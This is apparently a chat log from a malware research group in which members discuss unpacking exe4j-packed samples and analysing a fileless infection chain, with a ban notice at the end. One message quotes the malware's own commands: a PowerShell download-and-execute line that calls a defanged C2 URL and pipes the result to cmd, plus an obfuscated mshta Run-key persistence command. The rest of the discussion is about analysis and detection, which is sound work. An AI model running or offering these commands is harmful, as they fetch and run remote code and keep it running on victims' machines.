Malware Research

06 Sep 2024 13:19

https://youtu.be/Ld_DKSg4kik

Malware Research

05 Sep 2024 20:36

otherwise, the lazy/confidential way would be to go to Malpedia and search for the malware name and read through the reports for its behaviours for detection

Malware Research

05 Sep 2024 20:27

If anyone is curious about this or tries to solve it, pls let me know as well.))

Malware Research

05 Sep 2024 20:26

I was able to analyze the part where it downloads and compiles C# code, but I couldn't manage the part after that

Malware Research

05 Sep 2024 20:20

"I was able to analyze the part where it downloads and compiles C# code, but I couldn't manage the part after that."

Malware Research

05 Sep 2024 20:18

Without which you can't analyze further?

Malware Research

05 Sep 2024 20:17

All starts with first one,

Malware Research

05 Sep 2024 20:15

I can’t paste it to here bot deleting it ))

Malware Research

05 Sep 2024 20:14

Can’t get things which is c# want download from c2

Malware Research

05 Sep 2024 20:12

But that's just the beginning. After understanding it, what is it that you want to do with the information is the next question...

You can research into a lot of things, but that path should lead to something that you want?

Malware Research

05 Sep 2024 20:10

May be it will be useful for you

Malware Research

05 Sep 2024 20:08

@usrnm013

Malware Research

05 Sep 2024 19:00

Anyone can help for research? Fileless attack?

Malware Research

05 Sep 2024 15:01

Give this a shot, also try to just straight up 7z the pe.

Malware Research

05 Sep 2024 12:29

Hi Researcher , can unpack malware whose use exe4j to pack itself?

Malware Research

06 Sep 2024 01:45

Hello TK, welcome to the Malware Research group! Please read the pinned message before you post!

Malware Research

05 Sep 2024 20:35

the URL is dead, no samples are available. if you need help in analysis, please share the hash so someone else can download and assist you

Malware Research

05 Sep 2024 20:26

The detection part is completed. What I want to figure out is the malware's behavior. If the C# code is running, or if it has already run, what does it do? What are the next steps?

Malware Research

05 Sep 2024 20:21

Based on the pasted script...

A PowerShell script that connects to the Internet, which subsequently executes cmd and modifies the Run key?

Sigma rule can do that, but whether your tool can support this method of detection is another

Malware Research

05 Sep 2024 20:18

Want detect behavior this malware

Malware Research

05 Sep 2024 20:18

So you need the PowerShell script?

Malware Research

05 Sep 2024 20:15

Sam:
All starts with this commands
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (&NeW-oBjeCt NEt.webClIeNT).doWnLoaDstRInG('[httP://]sToRKa.sTORe/Ps/06fCC253-fD2C-5a52-6f46-a0B42e64251c')|CMd

Command line: REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "_06fcc253fd2c5a526f46a0b42e64251c" /t REG_SZ /F /D "mShta VbscRiPt:closE(execUTe(\"cr\"+\"eAt\"+\"eO\"+\"Bj\"+\"ect\"+\"(\"\"\"+\"WS\"+\"CRI\"+\"pt\"+\".Sh\"+\"ELl\"+\"\"\").\"+\"Run\"+\" \"\"\"+\"%_\"+\"06\"+\"FC\"+\"C25\"+\"3F\"+\"D2\"+\"C5\"+\"a5\"+\"26\"+\"F4\"+\"6a\"+\"0B4\"+\"2e\"+\"642\"+\"51c\"+\"%\"\",\"+\"0\"))"

Malware Research

05 Sep 2024 20:14

I still don't get where the question is leading to

So you want a sample? Or know what kind of malware exhibits this behaviour? Or if you can detect such behaviour?

Malware Research

05 Sep 2024 20:12

All starts with one script , it’s connect to c2 server gets powershell scripts then runing it, then downloads another c# code , doing compail then c# code starts downloading another tool, I need research this malware

Malware Research

05 Sep 2024 20:10

I think if you input that into Google, you are going to get tons of definitions and common execution methods

Malware Research

05 Sep 2024 20:09

What do you need help on or interested in?

Malware Research

05 Sep 2024 19:02

No... I don't understand, and Google isn't helping

Malware Research

05 Sep 2024 18:31

Hello @nguyen_duyhung, welcome to the Malware Research group! Please read the pinned message before you post!

Malware Research

05 Sep 2024 15:01

GitHub.com/struppigel/Exe4jconfigextractor

Malware Research

04 Sep 2024 19:20

New FedBan
Fed: Libra's Empire
FedAdmin: ❤🦦
User: Александр
User ID: 1351806164
Reason: scam